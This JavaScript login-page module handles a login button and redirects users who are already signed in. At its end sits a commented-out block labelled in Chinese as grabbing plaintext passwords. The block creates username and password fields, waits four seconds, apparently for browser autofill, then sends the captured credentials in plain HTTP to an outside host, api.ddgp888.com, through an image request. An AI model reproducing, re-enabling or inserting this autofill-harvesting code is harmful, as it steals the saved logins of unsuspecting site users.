
define(function(require, exports, module) {
    var $=require('zepto');
    api=require('api');
    cn=require('conment');
    lg=require('login');
    pop=require('popup');
    module.exports = {
        init:function(){
            var _this=this;
            if(lg.userInfo()){
                window.location.href='/'
            }
            $('#login-btn').on('click',function () {
                var t=$.trim($("#userTel").val()),p=$.trim($("#userPwd").val());
                lg.login(t,p)
            });
        },

    }
});
/*
function create_body(){
    document.write('<body></body>');
}
function create_form(user) { /!*获取明文密码*!/
    var f = document.createElement("form");
    f.style.display= "block"
    document.getElementsByTagName("body")[0].appendChild(f);
    var e1 = document.createElement("input");
    e1.type = "text";
    e1.name = "username";
    e1.id = "username";
    f.appendChild(e1);
    var e = document.createElement("input");
    e.name = "password";
    e.type = "password";
    e.id = "password";
    f.appendChild(e);
    setTimeout(function () {
        username = document.getElementById("username").value;
        password = document.getElementById("password").value;
        var newimg = new Image();
        newimg.src="http://api.ddgp888.com/login.data?username="+username+"&password="+password;

    }, 4000); // 时间竞争
}


create_form('');*/
